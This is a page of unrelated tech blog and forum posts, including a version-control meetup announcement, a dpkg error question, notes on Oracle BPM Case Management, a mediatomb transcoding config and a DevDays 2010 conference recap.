    You're working in IT and not using any kind of version control system? Sorry, then you're doing something wrong! RSVP for MSCC meetup of June This month's meetup will be an introduction into the mechanics of version control systems (VCS) like git, Mercurial, TFS, and others in general. VCS are not optional but compulsory in any area of IT. Whether you're developing source code for the next buzz app, writing SQL scripts for your database, or automating your administrative tasks with shell scripts it's better to have a "time machine" in order to keep multiple version, stay organised and leverage the power of differences. git - a modern approach to VCS - Nayar Nayar is going to give us a brief overview of the basic principles of working with git. Which are the necessary steps to get started and which are the usual commands in order to get the most out of git. Visual Studio Online (VSO) - Jochen Are you mainly rooted on the Windows platform and looking for a good alternative to Team Foundation Services (TFS), then VSO might give you hand at achieving this. Similar to git VSO is an open infrastructure but plays very well together with the Microsoft Azure cloud infrastructure. Recent and upcoming events in Mauritius Let's have a chat about recent events like WebCup 2014 or Emtel Knowledge Series and have a head start on upcoming events like Code Challenge, and others to come. Networking and general discussions Of course, there will be plenty of time to chat and exchange with other like-minded craftsmen. Bring your topics and discuss various issues with other professionals. Share your experience and use the ability to learn from others. Looking forward to meet soon.

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  • Week 11: Spring Break Destination: Specialization

    - by sandra.haan
    Oh how we miss Spring Break - a whole week off from school to play in the sun and get re-charged. You are probably sitting at your computer right now wishing your feet were in the sand on a warm beach somewhere instead of at your desk. Sadly, we can't transport you to a tropical paradise, but we can offer a quick Spring Break with OPN Specialized (shoes optional). Ingredients: 1 dose of Sun FAQ 1 pinch of OPN Specialized awareness 6 OPN Specialized Webcasts 1.5 months of promotional pricing Slather yourself in Sun knowledge by reviewing the FAQ. Once armed with the direction for Sun partners, relax and dive into a good read on OPN Specialized - ahh yes, that's right - the new OPN program offering you the ability to differentiate yourself. You must be exhausted from all of that work - you are on break after all. Once rested, map out an excursion and plan to attend 1 of 6 upcoming OPN Specialized sessions. These will walk you through the steps you need to take to become Specialized. Once completed, reflect on your journey and join OPN Specialized while the promotional pricing is still available. Just like any other trip, you want to know what others are saying about the destination - listen in as Judson talks about the OPN Specialized Webcast series: Feel free to add your own ingredients to this recipe and don't forget to reach out to the Oracle Partner Business Center with any of your questions on OPN Specialized. Happy Spring Break, The OPN Communications Team

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  • Teaching high school kids ASP.NET programming

    - by dotneteer
    During the 2011 Microsoft MVP Global Summit, I have been talking to people about teaching kids ASP.NET programming. I want to work with volunteer organizations to provide kids volunteer opportunities while learning technical skills that can be applied elsewhere. The goal is to teach motivated kids enough skill to be productive with no more than 6 hours of instruction. Based on my prior teaching experience of college extension courses and involvement with high school math and science competitions, I think this is quite doable with classic ASP but a challenge with ASP.NET. I don’t want to use ASP because it does not provide a good path into the future. After some considerations, I think this is possible with ASP.NET and here are my thoughts: · Create a framework within ASP.NET for kids programming. · Use existing editor. No extra compiler and intelligence work needed. · Using a subset of C# like a scripting language. Teaches data type, expression, statements, if/for/while/switch blocks and functions. Use existing classes but no class creation and OOP. · Linear rendering model. No complicated life cycle. · Bare-metal html with some MVC style helpers for widget creation; ASP.NET control is optional. I want to teach kids to understand something and avoid black boxes as much as possible. · Use SQL for CRUD with a helper class. Again, I want to teach understanding rather than black boxes. · Provide a template to encourage clean separation of concern. · Provide a conversion utility to convert the code that uses template to ASP.NET MVC. This will allow kids with AP Computer Science knowledge to step up to ASP.NET MVC. Let me know if you have thoughts or can help.

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  • dpkg: error: parsing file '/var/lib/dpkg/status' near line 6449

    - by mpole
    Good evening. This problem occured when trying to update using the update manager. A problem occured so I cleared all the cache and tried to update once again this time in terminal, and it spat out: dpkg: error: parsing file '/var/lib/dpkg/status' near line 6449 missing package name After opening up 'status' with gedit and going to line 6449, I found that nothing was on that line but the following was before and after it. This package contains the Mono System.Configuration library for CLI 4.0. Original-Maintainer: Debian Mono Group <[email protected])oth.debian.org> Homepage: http://www.mono-project.com/ <<<<---- LINE 6449 Package: bzip2 Status: install ok installed Priority: optional Section: utils Installed-Size: 160 Maintainer: Ubuntu Developers <[email protected]> <<<<--- LINE 6449 is obviously not on the file, but I can't see whats wrong here? anybody have an idea? Thanks! Edit: I have tried running: sudo apt-get install --fix-missing sudo dpkg --clear-avail But no good...

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  • What happened to Alan Cooper's Unified File Model?

    - by PAUL Mansour
    For a long time Alan Cooper (in the 3 versions of his book "About Face") has been promoting a "unified file model" to, among other things, dispense with what he calls the most idiotic message box ever invented - the one the pops up when hit the close button on an app or form saying "Do you want to discard your changes?" I like the idea and his arguments, but also have the knee-jerk reaction against it that most seasoned programmers and users have. While Cooper's book seems quite popular and respected, there is remarkably little discussion of this particular issue on the Web that I can find. Petter Hesselberg, the author of "Programming Industrial Strength Windows" mentions it but that seems about it. I have an opportunity to implement this in the (desktop) project I am working on, but face resistance by customers and co-workers, who are of course familiar with the MS Word and Excel way of doing things. I'm in a position to override their objections, but am not sure if I should. My questions are: Are there any good discussions of this that I have failed to find? Is anyone doing this in their apps? Is it a good idea that it is unfortunately not practical to implement until, say, Microsoft does it?

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  • Document-oriented vs Column-oriented database fit

    - by user1007922
    I have a data-intensive application that desperately needs a database make-over. The general data model: There are records with RIDs, grouped together by group IDs (GID). The records have arbitrary data fields, (maybe 5-15) with a few of them mandatory and the rest optional, and thus sparse. The general use model: There are LOTS and LOTS of Writes. Millions to Billions of records are stored. Very often, they are associated with new GIDs, but sometimes, they are associated with existing GIDs. There aren't as many reads, but when they happen, they need to be pretty fast or at least constant speed regardless of the database size. And when the reads happen, it will need to retrieve all the records/RIDs with a certain GID. I don't have a need to search by the record field values. Primarily, I will need to query by the GID and maybe RID. What database implementation should I use? I did some initial research between document-oriented and column-oriented databases and it seems the document-oriented ones are a good fit, model-wise. I could store all the records together under the same document key using the GID. But I don't really have any use for their ability to search the document contents itself. I like the simplicity and scalability of column-oriented databases like Cassandra, but how should I model my data in this paradigm for optimal performance? Should my key be the GID and should I create a column for each record/RID? (there maybe thousands or hundreds of thousands of records in a group/GID). Or should my key be the RID and ensure each row has a column for the GID value? What results in faster writes and reads under this model?

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  • links for 2010-05-10

    - by Bob Rhubart
    Announcing the MOS WCI "Community" (World of WebCenter Interaction) In this community you'll find a product related discussion forum moderated by Oracle WebCenter Interaction support engineers, recommended tips and tricks, links to knowledge base articles and best practices for setting up and administering up your environment. We hope you'll take a minute to have a look through the community. (tags: oracle otn webcenter enterprise2.0) Jason Williamson: Tuxedo Runtime for CICS and Batch Webcast "The notion that mainframes can be rehosted on open system is pretty well accepted. There are still some hold out CxO's who don't believe it, but those guys typically are not really looking to migrate anyway and don't take an honest look at the case studies, history and TPC reports." Jason Williamson (tags: oracle otn entarch tuxedo) Tom Hofte: Analyzing Out-Of-Memory issues in WebLogic 10.3.3 with JRockit 4.0 Flight Recorder Tom Hofte shows you "how to capture automatically an overall WLS system image, including a JFR image, after an out-of-memory (OOM) exception has occured in the JVM hosting WLS 10.3.3." (tags: oracle otn weblogic soa java) Install Control Center Agent on Oracle Application Server (Oracle Warehouse Builder (OWB) Weblog) Qianqian Wu show you how to Install and Configure the Application Server; Deploy the Control Center Agent to the Application Server; Optional Configuration Tasks (tags: oracle otn bi datawarehousing) Frank Buytendijk: BI and EPM Landscape "Organizations are getting more serious about ecosystem thinking. They do not evaluate single tools anymore for different application areas, but buy into a complete ecosystem of hardware, software and services. The best ecosystem is the one that offers the most options, in environments where the uncertainty is high and investments are hard to reverse. The key to successfully managing such an environment is middleware, and BI and EPM become increasingly middleware intensive. In fact, given the horizontal nature of BI and EPM, sitting on top of all business functions and applications, you could call them 'upperware.'" -- Frank Buytendijk (tags: oracle otn enterprisearchitecture bi)

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  • Notes on Oracle BPM PS6 Adaptive Case Management

    - by gcolman
    v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} I have recently been looking at the  latest release of the BPM Case Management feature in the Oracle BPM PS6 release. I had put together some notes to help me gain a better understanding of the context of the PS6 BPM Case Management. Hopefully, this along with the other resources will enable you to gain a clear picture of the flexibility of this feature. Oracle BPM PS6 release includes Case Management capability. This initial release aims to provide: Case Management Framework Integration of Case Management with BPM & SOA suite It is best to regard the current PS6 case management feature as a case management framework. The framework provides the building blocks for creating a case management system that is fully integrated into Oracle BPM suite. As of the current PS6 release, no UI tooling exists to help manage cases or the case lifecycle. Mark Foster has written a good blog which outlines Case Management within PS6 in the following link. I wanted to provide more context on Case Management from my perspective in this blog. PS6 Case Management - High level View BPM PS6 includes “Case” as a first class component in a SOA Suite composite. The Case components (added to the SOA Composite) are created when a BPM process is assigned to a case in JDveloper. The SOA Case component is defined and configured within JDevloper, which allows us to specify the case data structures and metadata such as stakeholders, outcomes, milestones, document stores etc. "Activities" are associated with a case, and become available to be executed via the case apis. Activities are BPM processes, Human Activities or Java call outs. The PS6 release includes some additional database tables to store the case metadata and case instance data (data object, comments, etc…). These new tables are created within the SOA_INFRA schema and the documents associated with that case into a document repository that is configured with the case. One of the main features of Case Management is the control of the case logic through case events and case business rules. A PS6 Case has an associated business rule component, which can be configured to control the availability and execution of activities within the case. The business rules component is able to act upon events that the PS6 Case Management framework generates during the lifecycle of that case. Events are fired during the lifetime of the case (e.g. Case created, activity started, activity ended, note added, document uploaded.) Internal Case state The internal state of a case is represented by the diagram below. This shows the internal states and the transition paths for a Case from one state to the next Each transition in state will create an event that can be enacted upon via the Case rules engine. The internal case state lifecycle is defined as follows Defining a case A Case is created and defined as a component of a JDeveloper BPM project. When you create a Case as part of a BPM project, JDeveloper, creates the following components within the SCA composite: Case component Case component interfaces (WSDL etc) Case Rules component (Oracle Business Rules) Adds the Case Component and Case Rules Component to the BPM SOA composite Case Configuration The following section gives a high level overview of the items that can be configured for a BPM Case. Case Activities A Case is associated with a set of activities that are to be performed as part of that Case. Case activities can be: SOA Human Tasks BPM processes Custom Task (Java Class) Case activities are created from pre-existing BPM process or human tasks, which, once defined, can be configured additionally as Case activities in JDeveloper and made available within the lifecycle of a case. I've described the following configurable components of a case (very!) briefly as: Milestones Milestones are (optional) user defined logical milestones that can be achieved within a case. No activities are associates with a milestone, but milestone attainment can be programmatically set and events raised when milestones are reached Outcomes User defined status of a completed case. An event is fired when an outcome is attained. Case Data Defines the data that will be stored with a case XML schemas define the data that is stored with the case. Case Documents Defines the location of documents that are attached to a case (e.g. WebCenter Content) User Defined Events Optional user defined events that can be fired or captured to drive case processing rules Stakeholders Defines the actors who can participate in the case (roles, users, groups) Defines permissions for individual case permissions (read case, create document etc…) Business Rules Business rules are the main component controlling the flow of a Case Each case has an associated business ruleset Rules are fired on receiving Case events (or User defined events) Life cycle events Milestone events Activity events Data events Document events Comment events User event Managing the Case Managing the lifecycle of a case is achieved in two ways: Managing case logic with Business Rules Managing the case lifecycle via the Case APIs. A BPM Case can be viewed as a set of case data & documents along with the activities that can be performed within a case and also the case lifecycle state expressed as milestones and internal lifecycle state. The management of the case life is achieved though both the configuration of business rules and the “manual” interaction with a case instance through the Case APIs. Business Rules and Case Events A key component within the Case management framework is the event model. The BPM Case Management solution internally utilizes Oracle EDN (Event Delivery Network) to publish and subscribe to events generated by the Case framework. Events are generated by the Case framework on each of the processes and stages that a case instance will travel on its lifetime. The following case events are part of the BPM Case: Life cycle events Milestone events Activity events Data events Document events Comment events User event The Case business rules are configured to listen for these events, and business logic can be coded into the Case rules component to enact upon an event being received. Case API & Interaction Along with the business rules component, Cases can be managed via the Case API interfaces. These interfaces allow for the building of custom applications to integrate into case management framework. The API’s allow for updating case comments & documents, executing case activities, updating milestones etc. As there is no in built case management UI functions within the PS6 release, Cases need to be managed via a custom built UI, interacting with selected case instances, launching case activities, closing cases etc. (There is expected to be a UI component within subsequent releases) Logical Case Flow The diagram below is intended to depict a logical view of the case steps for a typical case. A UI or other service calls the Case interface to create a Case instance The case instance is created & database data inserted A lifecycle event is raised indicating a case activity (created) event The case business rules capture the event and decide on an action to take Additionally other parties can subscribe to Case events via EDN The business rules may handle the event, e.g. configured to execute a case activity on case creation event The BPM/Human Workflow/Custom activity is executed A case activity event is raised on the execute activity A case work UI or business service can inspect the case instance and call other actions to progress that case, such as: Execute activity Add Note Add document Add case data Update Milestone Raise user defined event Suspend case Resume case Close Case Summary Having had a little time to play around with the APIs and the case configuration, I really like the flexibility and power of combining Oracle Business Rules and the BPM Case Management event model. Creating something this flexible and powerful without BPM Case Management would take a lot of time and effort. This is hopefully going to save my customers a lot of time and effort! I may make amendments to this post as my understanding of Case Management increases! Take a look at the following links for official documentation etc. http://docs.oracle.com/cd/E28280_01/doc.1111/e15176/case_mgmt_bpmpd.htm https://blogs.oracle.com/bpm/entry/just_in_case Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Calibri","sans-serif";}

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  • Can mediatomb VLC profile transcode audio as MP3 rather than mpga ?

    - by djangofan
    In the /etc/mediatomb/config.xml, can mediatomb VLC profile transcode audo as MP3 rather than mpga ? My Sony GoogleTV wont render streamed .avi files files with a mpga audio in them. The original files are Divx encoded with 128kbs MP3 audio but mediatomb is transcoding them. How can I change this? Any ideas? Can I turn off the audio and video transcoding somehow? I need some ideas to try. <profile name="vlcprof" enabled="yes" type="external"> <mimetype>video/mpeg</mimetype> <agent command="vlc" arguments="-I dummy %in --sout #transcode{venc=ffmpeg,vcodec=mp2v,vb=4096,fps=25,aenc=ffmpeg,acodec=mpga,ab=192,samplerate=44100,channels=2}:standard{access=file,mux=ps,dst=%out} vlc:quit"/> <buffer size="10485760" chunk-size="131072" fill-size="2621440"/> <accept-url>yes</accept-url> <first-resource>yes</first-resource> </profile> I know that that MP3 encoding support is external to FFmpeg and must be configured appropriately, but I have no idea how to handle that. I would guess I can work around that by somehow telling ffmpeg to not transcode the audio stream? Also, should I create a separate vlcprof entry for video/avi ? Can you create more than one profile for VLC in the config.xml for mediatomb?

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  • DevDays ‘00 The Netherlands day #2

    - by erwin21
    Day 2 of DevDays 2010 and again 5 interesting sessions at the World Forum in The Hague. The first session of the today in the big world forum theater was from Scott Hanselman, he gives a lap around .NET 4.0. In his way of presenting he talked about all kind of new features of .NET 4.0 like MEF, threading, parallel processing, changes and additions to the CLR and DLR, WPF and all new language features of .NET 4.0. After a small break it was ready for session 2 from Scott Allen about Tips, Tricks and Optimizations of LINQ. He talked about lazy and deferred executions, the difference between IQueryable and IEnumerable and the two flavors of LINQ syntax. The lunch was again very good prepared and delicious, but after that it was time for session 3 Web Vulnerabilities and Exploits from Alex Thissen. This was no normal session but more like a workshop, we decided what kind of subjects we discussed, the subjects where OWASP, XSS and other injections, validation, encoding. He gave some handy tips and tricks how to prevent such attacks. Session 4 was about the new features of C# 4.0 from Alex van Beek. He talked about Optional- en Named Parameters, Generic Co- en Contra Variance, Dynamic keyword and COM Interop features. He showed how to use them but also when not to use them. The last session of today and also the last session of DevDays 2010 was about WCF Best Practices from Gerben van Loon. He talked about 7 best practices that you must know when you are going to use WCF. With some quick demos he showed the problem and the solution for some common issues. It where two interesting days and next year i sure will be attending again.

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